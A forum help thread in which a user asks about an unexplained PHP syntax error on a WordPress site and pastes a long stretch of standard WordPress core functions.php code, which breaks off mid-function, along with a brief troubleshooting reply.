0

Hello, I have read numerous forums on this issue and is seems each case/resolution is specific to the persons file. I have the same error, but can't find where it is coming from. This is from a wordpress site I did not create - this just appeared out of nowhere without anyone editing the file. I have attached a screenshot of the error. I did add the ob_start(); per a forum I found and it did get rid of a different error about the header. Any help would be greatly apprecated!

Attachments Screen_Shot_2013-11-20_at_1.07_.57_PM_.png 860.96 KB
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Last Post by EvolutionFallen
0

It probably means you're missing a semi-colon somewhere. Can't tell without seeing the code. Check your functions.php file.

EDIT: I didn't look closely enough at the file path. This isn't the functions.php in your theme folder as I originally assumed. There might be something wrong with your WP installation. I'd try switching to a different theme and seeing if you still get this error. If you do, it's something wrong with your WP installation, and I'd reinstall. If you're not getting the error on another theme, you need to dig deeper.

Which version of WordPress are you using?

Edited by EvolutionFallen

0

Hi - I thought I posted it in the </> Code area... is it there now? I did look at the code with a syntax error software and no errors came up.

<?php

ob_start();
/**
 * Main WordPress API
 *
 * @package WordPress
 */

require( ABSPATH . WPINC . '/option.php' );

/**
 * Converts given date string into a different format.
 *
 * $format should be either a PHP date format string, e.g. 'U' for a Unix
 * timestamp, or 'G' for a Unix timestamp assuming that $date is GMT.
 *
 * If $translate is true then the given date and format string will
 * be passed to date_i18n() for translation.
 *
 * @since 0.71
 *
 * @param string $format Format of the date to return.
 * @param string $date Date string to convert.
 * @param bool $translate Whether the return date should be translated. Default is true.
 * @return string|int Formatted date string, or Unix timestamp.
 */

function mysql2date( $format, $date, $translate = true ) {
    if ( empty( $date ) )
        return false;

    if ( 'G' == $format )
        return strtotime( $date . ' +0000' );

    $i = strtotime( $date );

    if ( 'U' == $format )
        return $i;

    if ( $translate )
        return date_i18n( $format, $i );
    else
        return date( $format, $i );
}

/**
 * Retrieve the current time based on specified type.
 *
 * The 'mysql' type will return the time in the format for MySQL DATETIME field.
 * The 'timestamp' type will return the current timestamp.
 *
 * If $gmt is set to either '1' or 'true', then both types will use GMT time.
 * if $gmt is false, the output is adjusted with the GMT offset in the WordPress option.
 *
 * @since 1.0.0
 *
 * @param string $type Either 'mysql' or 'timestamp'.
 * @param int|bool $gmt Optional. Whether to use GMT timezone. Default is false.
 * @return int|string String if $type is 'gmt', int if $type is 'timestamp'.
 */

function current_time( $type, $gmt = 0 ) {
    switch ( $type ) {
        case 'mysql':
            return ( $gmt ) ? gmdate( 'Y-m-d H:i:s' ) : gmdate( 'Y-m-d H:i:s', ( time() + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) ) );
            break;
        case 'timestamp':
            return ( $gmt ) ? time() : time() + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS );
            break;
    }
}

/**
 * Retrieve the date in localized format, based on timestamp.
 *
 * If the locale specifies the locale month and weekday, then the locale will
 * take over the format for the date. If it isn't, then the date format string
 * will be used instead.
 *
 * @since 0.71
 *
 * @param string $dateformatstring Format to display the date.
 * @param int $unixtimestamp Optional. Unix timestamp.
 * @param bool $gmt Optional, default is false. Whether to convert to GMT for time.
 * @return string The date, translated if locale specifies it.
 */

function date_i18n( $dateformatstring, $unixtimestamp = false, $gmt = false ) {
    global $wp_locale;
    $i = $unixtimestamp;

    if ( false === $i ) {
        if ( ! $gmt )
            $i = current_time( 'timestamp' );
        else
            $i = time();
        // we should not let date() interfere with our
        // specially computed timestamp
        $gmt = true;
    }

    // store original value for language with untypical grammars
    // see http://core.trac.wordpress.org/ticket/9396
    $req_format = $dateformatstring;

    $datefunc = $gmt? 'gmdate' : 'date';

    if ( ( !empty( $wp_locale->month ) ) && ( !empty( $wp_locale->weekday ) ) ) {
        $datemonth = $wp_locale->get_month( $datefunc( 'm', $i ) );
        $datemonth_abbrev = $wp_locale->get_month_abbrev( $datemonth );
        $dateweekday = $wp_locale->get_weekday( $datefunc( 'w', $i ) );
        $dateweekday_abbrev = $wp_locale->get_weekday_abbrev( $dateweekday );
        $datemeridiem = $wp_locale->get_meridiem( $datefunc( 'a', $i ) );
        $datemeridiem_capital = $wp_locale->get_meridiem( $datefunc( 'A', $i ) );
        $dateformatstring = ' '.$dateformatstring;
        $dateformatstring = preg_replace( "/([^\\\])D/", "\\1" . backslashit( $dateweekday_abbrev ), $dateformatstring );
        $dateformatstring = preg_replace( "/([^\\\])F/", "\\1" . backslashit( $datemonth ), $dateformatstring );
        $dateformatstring = preg_replace( "/([^\\\])l/", "\\1" . backslashit( $dateweekday ), $dateformatstring );
        $dateformatstring = preg_replace( "/([^\\\])M/", "\\1" . backslashit( $datemonth_abbrev ), $dateformatstring );
        $dateformatstring = preg_replace( "/([^\\\])a/", "\\1" . backslashit( $datemeridiem ), $dateformatstring );
        $dateformatstring = preg_replace( "/([^\\\])A/", "\\1" . backslashit( $datemeridiem_capital ), $dateformatstring );

        $dateformatstring = substr( $dateformatstring, 1, strlen( $dateformatstring ) -1 );
    }
    $timezone_formats = array( 'P', 'I', 'O', 'T', 'Z', 'e' );
    $timezone_formats_re = implode( '|', $timezone_formats );
    if ( preg_match( "/$timezone_formats_re/", $dateformatstring ) ) {
        $timezone_string = get_option( 'timezone_string' );
        if ( $timezone_string ) {
            $timezone_object = timezone_open( $timezone_string );
            $date_object = date_create( null, $timezone_object );
            foreach( $timezone_formats as $timezone_format ) {
                if ( false !== strpos( $dateformatstring, $timezone_format ) ) {
                    $formatted = date_format( $date_object, $timezone_format );
                    $dateformatstring = ' '.$dateformatstring;
                    $dateformatstring = preg_replace( "/([^\\\])$timezone_format/", "\\1" . backslashit( $formatted ), $dateformatstring );
                    $dateformatstring = substr( $dateformatstring, 1, strlen( $dateformatstring ) -1 );
                }
            }
        }
    }
    $j = @$datefunc( $dateformatstring, $i );
    // allow plugins to redo this entirely for languages with untypical grammars
    $j = apply_filters('date_i18n', $j, $req_format, $i, $gmt);
    return $j;
}

/**
 * Convert integer number to format based on the locale.
 *
 * @since 2.3.0
 *
 * @param int $number The number to convert based on locale.
 * @param int $decimals Precision of the number of decimal places.
 * @return string Converted number in string format.
 */

function number_format_i18n( $number, $decimals = 0 ) {
    global $wp_locale;
    $formatted = number_format( $number, absint( $decimals ), $wp_locale->number_format['decimal_point'], $wp_locale->number_format['thousands_sep'] );
    return apply_filters( 'number_format_i18n', $formatted );
}

/**
 * Convert number of bytes largest unit bytes will fit into.
 *
 * It is easier to read 1kB than 1024 bytes and 1MB than 1048576 bytes. Converts
 * number of bytes to human readable number by taking the number of that unit
 * that the bytes will go into it. Supports TB value.
 *
 * Please note that integers in PHP are limited to 32 bits, unless they are on
 * 64 bit architecture, then they have 64 bit size. If you need to place the
 * larger size then what PHP integer type will hold, then use a string. It will
 * be converted to a double, which should always have 64 bit length.
 *
 * Technically the correct unit names for powers of 1024 are KiB, MiB etc.
 * @link http://en.wikipedia.org/wiki/Byte
 *
 * @since 2.3.0
 *
 * @param int|string $bytes Number of bytes. Note max integer size for integers.
 * @param int $decimals Precision of number of decimal places. Deprecated.
 * @return bool|string False on failure. Number string on success.
 */

function size_format( $bytes, $decimals = 0 ) {
    $quant = array(
        // ========================= Origin ====
        'TB' => 1099511627776,  // pow( 1024, 4)
        'GB' => 1073741824,     // pow( 1024, 3)
        'MB' => 1048576,        // pow( 1024, 2)
        'kB' => 1024,           // pow( 1024, 1)
        'B ' => 1,              // pow( 1024, 0)
    );
    foreach ( $quant as $unit => $mag )
        if ( doubleval($bytes) >= $mag )
            return number_format_i18n( $bytes / $mag, $decimals ) . ' ' . $unit;

    return false;
}

/**
 * Get the week start and end from the datetime or date string from mysql.
 *
 * @since 0.71
 *
 * @param string $mysqlstring Date or datetime field type from mysql.
 * @param int $start_of_week Optional. Start of the week as an integer.
 * @return array Keys are 'start' and 'end'.
 */

function get_weekstartend( $mysqlstring, $start_of_week = '' ) {
    $my = substr( $mysqlstring, 0, 4 ); // Mysql string Year
    $mm = substr( $mysqlstring, 8, 2 ); // Mysql string Month
    $md = substr( $mysqlstring, 5, 2 ); // Mysql string day
    $day = mktime( 0, 0, 0, $md, $mm, $my ); // The timestamp for mysqlstring day.
    $weekday = date( 'w', $day ); // The day of the week from the timestamp
    if ( !is_numeric($start_of_week) )
        $start_of_week = get_option( 'start_of_week' );

    if ( $weekday < $start_of_week )
        $weekday += 7;

    $start = $day - DAY_IN_SECONDS * ( $weekday - $start_of_week ); // The most recent week start day on or before $day
    $end = $start + 7 * DAY_IN_SECONDS - 1; // $start + 7 days - 1 second
    return compact( 'start', 'end' );
}

/**
 * Unserialize value only if it was serialized.
 *
 * @since 2.0.0
 *
 * @param string $original Maybe unserialized original, if is needed.
 * @return mixed Unserialized data can be any type.
 */

function maybe_unserialize( $original ) {
    if ( is_serialized( $original ) ) // don't attempt to unserialize data that wasn't serialized going in
        return @unserialize( $original );
    return $original;
}

/**
 * Check value to find if it was serialized.
 *
 * If $data is not an string, then returned value will always be false.
 * Serialized data is always a string.
 *
 * @since 2.0.5
 *
 * @param mixed $data Value to check to see if was serialized.
 * @return bool False if not serialized and true if it was.
 */

function is_serialized( $data ) {
    // if it isn't a string, it isn't serialized
    if ( ! is_string( $data ) )
        return false;
    $data = trim( $data );
    if ( 'N;' == $data )
        return true;
    $length = strlen( $data );
    if ( $length < 4 )
        return false;
    if ( ':' !== $data[1] )
        return false;
    $lastc = $data[$length-1];
    if ( ';' !== $lastc && '}' !== $lastc )
        return false;
    $token = $data[0];
    switch ( $token ) {
        case 's' :
            if ( '"' !== $data[$length-2] )
                return false;
        case 'a' :
        case 'O' :
            return (bool) preg_match( "/^{$token}:[0-9]+:/s", $data );
        case 'b' :
        case 'i' :
        case 'd' :
            return (bool) preg_match( "/^{$token}:[0-9.E-]+;\$/", $data );
    }
    return false;
}

/**
 * Check whether serialized data is of string type.
 *
 * @since 2.0.5
 *
 * @param mixed $data Serialized data
 * @return bool False if not a serialized string, true if it is.
 */

function is_serialized_string( $data ) {
    // if it isn't a string, it isn't a serialized string
    if ( !is_string( $data ) )
        return false;
    $data = trim( $data );
    $length = strlen( $data );
    if ( $length < 4 )
        return false;
    elseif ( ':' !== $data[1] )
        return false;
    elseif ( ';' !== $data[$length-1] )
        return false;
    elseif ( $data[0] !== 's' )
        return false;
    elseif ( '"' !== $data[$length-2] )
        return false;
    else
        return true;
}

/**
 * Serialize data, if needed.
 *
 * @since 2.0.5
 *
 * @param mixed $data Data that might be serialized.
 * @return mixed A scalar data
 */

function maybe_serialize( $data ) {
    if ( is_array( $data ) || is_object( $data ) )
        return serialize( $data );

    // Double serialization is required for backward compatibility.
    // See http://core.trac.wordpress.org/ticket/12930
    if ( is_serialized( $data ) )
        return serialize( $data );

    return $data;
}

/**
 * Retrieve post title from XMLRPC XML.
 *
 * If the title element is not part of the XML, then the default post title from
 * the $post_default_title will be used instead.
 *
 * @package WordPress
 * @subpackage XMLRPC
 * @since 0.71
 *
 * @global string $post_default_title Default XMLRPC post title.
 *
 * @param string $content XMLRPC XML Request content
 * @return string Post title
 */

function xmlrpc_getposttitle( $content ) {
    global $post_default_title;
    if ( preg_match( '/<title>(.+?)<\/title>/is', $content, $matchtitle ) ) {
        $post_title = $matchtitle[1];
    } else {
        $post_title = $post_default_title;
    }
    return $post_title;
}

/**
 * Retrieve the post category or categories from XMLRPC XML.
 *
 * If the category element is not found, then the default post category will be
 * used. The return type then would be what $post_default_category. If the
 * category is found, then it will always be an array.
 *
 * @package WordPress
 * @subpackage XMLRPC
 * @since 0.71
 *
 * @global string $post_default_category Default XMLRPC post category.
 *
 * @param string $content XMLRPC XML Request content
 * @return string|array List of categories or category name.
 */

function xmlrpc_getpostcategory( $content ) {
    global $post_default_category;
    if ( preg_match( '/<category>(.+?)<\/category>/is', $content, $matchcat ) ) {
        $post_category = trim( $matchcat[1], ',' );
        $post_category = explode( ',', $post_category );
    } else {
        $post_category = $post_default_category;
    }
    return $post_category;
}

/**
 * XMLRPC XML content without title and category elements.
 *
 * @package WordPress
 * @subpackage XMLRPC
 * @since 0.71
 *
 * @param string $content XMLRPC XML Request content
 * @return string XMLRPC XML Request content without title and category elements.
 */

function xmlrpc_removepostdata( $content ) {
    $content = preg_replace( '/<title>(.+?)<\/title>/si', '', $content );
    $content = preg_replace( '/<category>(.+?)<\/category>/si', '', $content );
    $content = trim( $content );
    return $content;
}

/**
 * Check content for video and audio links to add as enclosures.
 *
 * Will not add enclosures that have already been added and will
 * remove enclosures that are no longer in the post. This is called as
 * pingbacks and trackbacks.
 *
 * @package WordPress
 * @since 1.5.0
 *
 * @uses $wpdb
 *
 * @param string $content Post Content
 * @param int $post_ID Post ID
 */

function do_enclose( $content, $post_ID ) {
    global $wpdb;

    //TODO: Tidy this ghetto code up and make the debug code optional
    include_once( ABSPATH . WPINC . '/class-IXR.php' );

    $post_links = array();

    $pung = get_enclosed( $post_ID );

    $ltrs = '\w';
    $gunk = '/#~:.?+=&%@!\-';
    $punc = '.:?\-';
    $any = $ltrs . $gunk . $punc;

    preg_match_all( "{\b http : [$any] +? (?= [$punc] * [^$any] | $)}x", $content, $post_links_temp );

    foreach ( $pung as $link_test ) {
        if ( !in_array( $link_test, $post_links_temp[0] ) ) { // link no longer in post
            $mids = $wpdb->get_col( $wpdb->prepare("SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE (%s)", $post_ID, like_escape( $link_test ) . '%') );
            foreach ( $mids as $mid )
                delete_metadata_by_mid( 'post', $mid );
        }
    }

    foreach ( (array) $post_links_temp[0] as $link_test ) {
        if ( !in_array( $link_test, $pung ) ) { // If we haven't pung it already
            $test = @parse_url( $link_test );
            if ( false === $test )
                continue;
            if ( isset( $test['query'] ) )
                $post_links[] = $link_test;
            elseif ( isset($test['path']) && ( $test['path'] != '/' ) &&  ($test['path'] != '' ) )
                $post_links[] = $link_test;
        }
    }

    foreach ( (array) $post_links as $url ) {
        if ( $url != '' && !$wpdb->get_var( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE (%s)", $post_ID, like_escape( $url ) . '%' ) ) ) {

            if ( $headers = wp_get_http_headers( $url) ) {
                $len = isset( $headers['content-length'] ) ? (int) $headers['content-length'] : 0;
                $type = isset( $headers['content-type'] ) ? $headers['content-type'] : '';
                $allowed_types = array( 'video', 'audio' );

                // Check to see if we can figure out the mime type from
                // the extension
                $url_parts = @parse_url( $url );
                if ( false !== $url_parts ) {
                    $extension = pathinfo( $url_parts['path'], PATHINFO_EXTENSION );
                    if ( !empty( $extension ) ) {
                        foreach ( wp_get_mime_types() as $exts => $mime ) {
                            if ( preg_match( '!^(' . $exts . ')$!i', $extension ) ) {
                                $type = $mime;
                                break;
                            }
                        }
                    }
                }

                if ( in_array( substr( $type, 0, strpos( $type, "/" ) ), $allowed_types ) ) {
                    add_post_meta( $post_ID, 'enclosure', "$url\n$len\n$mime\n" );
                }
            }
        }
    }
}

/**
 * Perform a HTTP HEAD or GET request.
 *
 * If $file_path is a writable filename, this will do a GET request and write
 * the file to that path.
 *
 * @since 2.5.0
 *
 * @param string $url URL to fetch.
 * @param string|bool $file_path Optional. File path to write request to.
 * @param int $red (private) The number of Redirects followed, Upon 5 being hit, returns false.
 * @return bool|string False on failure and string of headers if HEAD request.
 */

function wp_get_http( $url, $file_path = false, $red = 1 ) {
    @set_time_limit( 60 );

    if ( $red > 5 )
        return false;

    $options = array();
    $options['redirection'] = 5;

    if ( false == $file_path )
        $options['method'] = 'HEAD';
    else
        $options['method'] = 'GET';

    $response = wp_remote_request($url, $options);

    if ( is_wp_error( $response ) )
        return false;

    $headers = wp_remote_retrieve_headers( $response );
    $headers['response'] = wp_remote_retrieve_response_code( $response );

    // WP_HTTP no longer follows redirects for HEAD requests.
    if ( 'HEAD' == $options['method'] && in_array($headers['response'], array(301, 302)) && isset( $headers['location'] ) ) {
        return wp_get_http( $headers['location'], $file_path, ++$red );
    }

    if ( false == $file_path )
        return $headers;

    // GET request - write it to the supplied filename
    $out_fp = fopen($file_path, 'w');
    if ( !$out_fp )
        return $headers;

    fwrite( $out_fp,  wp_remote_retrieve_body( $response ) );
    fclose($out_fp);
    clearstatcache();

    return $headers;
}

/**
 * Retrieve HTTP Headers from URL.
 *
 * @since 1.5.1
 *
 * @param string $url
 * @param bool $deprecated Not Used.
 * @return bool|string False on failure, headers on success.
 */

function wp_get_http_headers( $url, $deprecated = false ) {
    if ( !empty( $deprecated ) )
        _deprecated_argument( __FUNCTION__, '2.7' );

    $response = wp_remote_head( $url );

    if ( is_wp_error( $response ) )
        return false;

    return wp_remote_retrieve_headers( $response );
}

/**
 * Whether today is a new day.
 *
 * @since 0.71
 * @uses $day Today
 * @uses $previousday Previous day
 *
 * @return int 1 when new day, 0 if not a new day.
 */

function is_new_day() {
    global $currentday, $previousday;
    if ( $currentday != $previousday )
        return 1;
    else
        return 0;
}

/**
 * Build URL query based on an associative and, or indexed array.
 *
 * This is a convenient function for easily building url queries. It sets the
 * separator to '&' and uses _http_build_query() function.
 *
 * @see _http_build_query() Used to build the query
 * @link http://us2.php.net/manual/en/function.http-build-query.php more on what
 *      http_build_query() does.
 *
 * @since 2.3.0
 *
 * @param array $data URL-encode key/value pairs.
 * @return string URL encoded string
 */

function build_query( $data ) {
    return _http_build_query( $data, null, '&', '', false );
}

// from php.net (modified by Mark Jaquith to behave like the native PHP5 function)
function _http_build_query($data, $prefix=null, $sep=null, $key='', $urlencode=true) {
    $ret = array();

    foreach ( (array) $data as $k => $v ) {
        if ( $urlencode)
            $k = urlencode($k);
        if ( is_int($k) && $prefix != null )
            $k = $prefix.$k;
        if ( !empty($key) )
            $k = $key . '%5B' . $k . '%5D';
        if ( $v === null )
            continue;
        elseif ( $v === FALSE )
            $v = '0';

        if ( is_array($v) || is_object($v) )
            array_push($ret,_http_build_query($v, '', $sep, $k, $urlencode));
        elseif ( $urlencode )
            array_push($ret, $k.'='.urlencode($v));
        else
            array_push($ret, $k.'='.$v);
    }

    if ( null === $sep )
        $sep = ini_get('arg_separator.output');

    return implode($sep, $ret);
}

/**
 * Retrieve a modified URL query string.
 *
 * You can rebuild the URL and append a new query variable to the URL query by
 * using this function. You can also retrieve the full URL with query data.
 *
 * Adding a single key & value or an associative array. Setting a key value to
 * an empty string removes the key. Omitting oldquery_or_uri uses the $_SERVER
 * value. Additional values provided are expected to be encoded appropriately
 * with urlencode() or rawurlencode().
 *
 * @since 1.5.0
 *
 * @param mixed $param1 Either newkey or an associative_array
 * @param mixed $param2 Either newvalue or oldquery or uri
 * @param mixed $param3 Optional. Old query or uri
 * @return string New URL query string.
 */

function add_query_arg() {
    $ret = '';
    $args = func_get_args();
    if ( is_array( $args[0] ) ) {
        if ( count( $args ) < 2 || false === $args[1] )
            $uri = $_SERVER['REQUEST_URI'];
        else
            $uri = $args[1];
    } else {
        if ( count( $args ) < 3 || false === $args[2] )
            $uri = $_SERVER['REQUEST_URI'];
        else
            $uri = $args[2];
    }

    if ( $frag = strstr( $uri, '#' ) )
        $uri = substr( $uri, 0, -strlen( $frag ) );
    else
        $frag = '';

    if ( 0 === stripos( 'http://', $uri ) ) {
        $protocol = 'http://';
        $uri = substr( $uri, 7 );
    } elseif ( 0 === stripos( 'https://', $uri ) ) {
        $protocol = 'https://';
        $uri = substr( $uri, 8 );
    } else {
        $protocol = '';
    }

    if ( strpos( $uri, '?' ) !== false ) {
        $parts = explode( '?', $uri, 2 );
        if ( 1 == count( $parts ) ) {
            $base = '?';
            $query = $parts[0];
        } else {
            $base = $parts[0] . '?';
            $query = $parts[1];
        }
    } elseif ( $protocol || strpos( $uri, '=' ) === false ) {
        $base = $uri . '?';
        $query = '';
    } else {
        $base = '';
        $query = $uri;
    }

    wp_parse_str( $query, $qs );
    $qs = urlencode_deep( $qs ); // this re-URL-encodes things that were already in the query string
    if ( is_array( $args[0] ) ) {
        $kayvees = $args[0];
        $qs = array_merge( $qs, $kayvees );
    } else {
        $qs[ $args[0] ] = $args[1];
    }

    foreach ( $qs as $k => $v ) {
        if ( $v === false )
            unset( $qs[$k] );
    }

    $ret = build_query( $qs );
    $ret = trim( $ret, '?' );
    $ret = preg_replace( '#=(&|$)#', '$1', $ret );
    $ret = $protocol . $base . $ret . $frag;
    $ret = rtrim( $ret, '?' );
    return $ret;
}

/**
 * Removes an item or list from the query string.
 *
 * @since 1.5.0
 *
 * @param string|array $key Query key or keys to remove.
 * @param bool $query When false uses the $_SERVER value.
 * @return string New URL query string.
 */

function remove_query_arg( $key, $query=false ) {
    if ( is_array( $key ) ) { // removing multiple keys
        foreach ( $key as $k )
            $query = add_query_arg( $k, false, $query );
        return $query;
    }
    return add_query_arg( $key, false, $query );
}

/**
 * Walks the array while sanitizing the contents.
 *
 * @since 0.71
 *
 * @param array $array Array to used to walk while sanitizing contents.
 * @return array Sanitized $array.
 */

function add_magic_quotes( $array ) {
    foreach ( (array) $array as $k => $v ) {
        if ( is_array( $v ) ) {
            $array[$k] = add_magic_quotes( $v );
        } else {
            $array[$k] = addslashes( $v );
        }
    }
    return $array;
}

/**
 * HTTP request for URI to retrieve content.
 *
 * @since 1.5.1
 * @uses wp_remote_get()
 *
 * @param string $uri URI/URL of web page to retrieve.
 * @return bool|string HTTP content. False on failure.
 */

function wp_remote_fopen( $uri ) {
    $parsed_url = @parse_url( $uri );

    if ( !$parsed_url || !is_array( $parsed_url ) )
        return false;

    $options = array();
    $options['timeout'] = 10;

    $response = wp_remote_get( $uri, $options );

    if ( is_wp_error( $response ) )
        return false;

    return wp_remote_retrieve_body( $response );
}

/**
 * Set up the WordPress query.
 *
 * @since 2.0.0
 *
 * @param string $query_vars Default WP_Query arguments.
 */

function wp( $query_vars = '' ) {
    global $wp, $wp_query, $wp_the_query;
    $wp->main( $query_vars );

    if ( !isset($wp_the_query) )
        $wp_the_query = $wp_query;
}

/**
 * Retrieve the description for the HTTP status.
 *
 * @since 2.3.0
 *
 * @param int $code HTTP status code.
 * @return string Empty string if not found, or description if found.
 */

function get_status_header_desc( $code ) {
    global $wp_header_to_desc;

    $code = absint( $code );

    if ( !isset( $wp_header_to_desc ) ) {
        $wp_header_to_desc = array(
            100 => 'Continue',
            101 => 'Switching Protocols',
            102 => 'Processing',

            200 => 'OK',
            201 => 'Created',
            202 => 'Accepted',
            203 => 'Non-Authoritative Information',
            204 => 'No Content',
            205 => 'Reset Content',
            206 => 'Partial Content',
            207 => 'Multi-Status',
            226 => 'IM Used',

            300 => 'Multiple Choices',
            301 => 'Moved Permanently',
            302 => 'Found',
            303 => 'See Other',
            304 => 'Not Modified',
            305 => 'Use Proxy',
            306 => 'Reserved',
            307 => 'Temporary Redirect',

            400 => 'Bad Request',
            401 => 'Unauthorized',
            402 => 'Payment Required',
            403 => 'Forbidden',
            404 => 'Not Found',
            405 => 'Method Not Allowed',
            406 => 'Not Acceptable',
            407 => 'Proxy Authentication Required',
            408 => 'Request Timeout',
            409 => 'Conflict',
            410 => 'Gone',
            411 => 'Length Required',
            412 => 'Precondition Failed',
            413 => 'Request Entity Too Large',
            414 => 'Request-URI Too Long',
            415 => 'Unsupported Media Type',
            416 => 'Requested Range Not Satisfiable',
            417 => 'Expectation Failed',
            422 => 'Unprocessable Entity',
            423 => 'Locked',
            424 => 'Failed Dependency',
            426 => 'Upgrade Required',

            500 => 'Internal Server Error',
            501 => 'Not Implemented',
            502 => 'Bad Gateway',
            503 => 'Service Unavailable',
            504 => 'Gateway Timeout',
            505 => 'HTTP Version Not Supported',
            506 => 'Variant Also Negotiates',
            507 => 'Insufficient Storage',
            510 => 'Not Extended'
        );
    }

    if ( isset( $wp_header_to_desc[$code] ) )
        return $wp_header_to_desc[$code];
    else
        return '';
}

/**
 * Set HTTP status header.
 *
 * @since 2.0.0
 * @uses apply_filters() Calls 'status_header' on status header string, HTTP
 *      HTTP code, HTTP code description, and protocol string as separate
 *      parameters.
 *
 * @param int $header HTTP status code
 * @return unknown
 */

function status_header( $header ) {
    $text = get_status_header_desc( $header );

    if ( empty( $text ) )
        return false;

    $protocol = $_SERVER["SERVER_PROTOCOL"];
    if ( 'HTTP/1.1' != $protocol && 'HTTP/1.0' != $protocol )
        $protocol = 'HTTP/1.0';
    $status_header = "$protocol $header $text";
    if ( function_exists( 'apply_filters' ) )
        $status_header = apply_filters( 'status_header', $status_header, $header, $text, $protocol );

    return @header( $status_header, true, $header );
}

/**
 * Gets the header information to prevent caching.
 *
 * The several different headers cover the different ways cache prevention is handled
 * by different browsers
 *
 * @since 2.8.0
 *
 * @uses apply_filters()
 * @return array The associative array of header names and field values.
 */

function wp_get_nocache_headers() {
    $headers = array(
        'Expires' => 'Wed, 11 Jan 1984 05:00:00 GMT',
        'Cache-Control' => 'no-cache, must-revalidate, max-age=0',
        'Pragma' => 'no-cache',
    );

    if ( function_exists('apply_filters') ) {
        $headers = (array) apply_filters('nocache_headers', $headers);
    }
    $headers['Last-Modified'] = false;
    return $headers;
}

/**
 * Sets the headers to prevent caching for the different browsers.
 *
 * Different browsers support different nocache headers, so several headers must
 * be sent so that all of them get the point that no caching should occur.
 *
 * @since 2.0.0
 * @uses wp_get_nocache_headers()
 */

function nocache_headers() {
    $headers = wp_get_nocache_headers();

    unset( $headers['Last-Modified'] );

    // In PHP 5.3+, make sure we are not sending a Last-Modified header.
    if ( function_exists( 'header_remove' ) ) {
        @header_remove( 'Last-Modified' );
    } else {
        // In PHP 5.2, send an empty Last-Modified header, but only as a
        // last resort to override a header already sent. #WP23021
        foreach ( headers_list() as $header ) {
            if ( 0 === stripos( $header, 'Last-Modified' ) ) {
                $headers['Last-Modified'] = '';
                break;
            }
        }
    }

    foreach( $headers as $name => $field_value )
        @header("{$name}: {$field_value}");
}

/**
 * Set the headers for caching for 10 days with JavaScript content type.
 *
 * @since 2.1.0
 */

function cache_javascript_headers() {
    $expiresOffset = 10 * DAY_IN_SECONDS;
    header( "Content-Type: text/javascript; charset=" . get_bloginfo( 'charset' ) );
    header( "Vary: Accept-Encoding" ); // Handle proxies
    header( "Expires: " . gmdate( "D, d M Y H:i:s", time() + $expiresOffset ) . " GMT" );
}

/**
 * Retrieve the number of database queries during the WordPress execution.
 *
 * @since 2.0.0
 *
 * @return int Number of database queries
 */

function get_num_queries() {
    global $wpdb;
    return $wpdb->num_queries;
}

/**
 * Whether input is yes or no. Must be 'y' to be true.
 *
 * @since 1.0.0
 *
 * @param string $yn Character string containing either 'y' or 'n'
 * @return bool True if yes, false on anything else
 */

function bool_from_yn( $yn ) {
    return ( strtolower( $yn ) == 'y' );
}

/**
 * Loads the feed template from the use of an action hook.
 *
 * If the feed action does not have a hook, then the function will die with a
 * message telling the visitor that the feed is not valid.
 *
 * It is better to only have one hook for each feed.
 *
 * @since 2.1.0
 * @uses $wp_query Used to tell if the use a comment feed.
 * @uses do_action() Calls 'do_feed_$feed' hook, if a hook exists for the feed.
 */

function do_feed() {
    global $wp_query;

    $feed = get_query_var( 'feed' );

    // Remove the pad, if present.
    $feed = preg_replace( '/^_+/', '', $feed );

    if ( $feed == '' || $feed == 'feed' )
        $feed = get_default_feed();

    $hook = 'do_feed_' . $feed;
    if ( !has_action($hook) ) {
        $message = sprintf( __( 'ERROR: %s is not a valid feed template.' ), esc_html($feed));
        wp_die( $message, '', array( 'response' => 404 ) );
    }

    do_action( $hook, $wp_query->is_comment_feed );
}

/**
 * Load the RDF RSS 0.91 Feed template.
 *
 * @since 2.1.0
 */

function do_feed_rdf() {
    load_template( ABSPATH . WPINC . '/feed-rdf.php' );
}

/**
 * Load the RSS 1.0 Feed Template.
 *
 * @since 2.1.0
 */

function do_feed_rss() {
    load_template( ABSPATH . WPINC . '/feed-rss.php' );
}

/**
 * Load either the RSS2 comment feed or the RSS2 posts feed.
 *
 * @since 2.1.0
 *
 * @param bool $for_comments True for the comment feed, false for normal feed.
 */

function do_feed_rss2( $for_comments ) {
    if ( $for_comments )
        load_template( ABSPATH . WPINC . '/feed-rss2-comments.php' );
    else
        load_template( ABSPATH . WPINC . '/feed-rss2.php' );
}

/**
 * Load either Atom comment feed or Atom posts feed.
 *
 * @since 2.1.0
 *
 * @param bool $for_comments True for the comment feed, false for normal feed.
 */

function do_feed_atom( $for_comments ) {
    if ($for_comments)
        load_template( ABSPATH . WPINC . '/feed-atom-comments.php');
    else
        load_template( ABSPATH . WPINC . '/feed-atom.php' );
}

/**
 * Display the robots.txt file content.
 *
 * The echo content should be with usage of the permalinks or for creating the
 * robots.txt file.
 *
 * @since 2.1.0
 * @uses do_action() Calls 'do_robotstxt' hook for displaying robots.txt rules.
 */

function do_robots() {
    header( 'Content-Type: text/plain; charset=utf-8' );

    do_action( 'do_robotstxt' );

    $output = "User-agent: *\n";
    $public = get_option( 'blog_public' );
    if ( '0' == $public ) {
        $output .= "Disallow: /\n";
    } else {
        $site_url = parse_url( site_url() );
        $path = ( !empty( $site_url['path'] ) ) ? $site_url['path'] : '';
        $output .= "Disallow: $path/wp-admin/\n";
        $output .= "Disallow: $path/wp-includes/\n";
    }

    echo apply_filters('robots_txt', $output, $public);
}

/**
 * Test whether blog is already installed.
 *
 * The cache will be checked first. If you have a cache plugin, which saves the
 * cache values, then this will work. If you use the default WordPress cache,
 * and the database goes away, then you might have problems.
 *
 * Checks for the option siteurl for whether WordPress is installed.
 *
 * @since 2.1.0
 * @uses $wpdb
 *
 * @return bool Whether blog is already installed.
 */

function is_blog_installed() {
    global $wpdb;

    // Check cache first. If options table goes away and we have true cached, oh well.
    if ( wp_cache_get( 'is_blog_installed' ) )
        return true;

    $suppress = $wpdb->suppress_errors();
    if ( ! defined( 'WP_INSTALLING' ) ) {
        $alloptions = wp_load_alloptions();
    }
    // If siteurl is not set to autoload, check it specifically
    if ( !isset( $alloptions['siteurl'] ) )
        $installed = $wpdb->get_var( "SELECT option_value FROM $wpdb->options WHERE option_name = 'siteurl'" );
    else
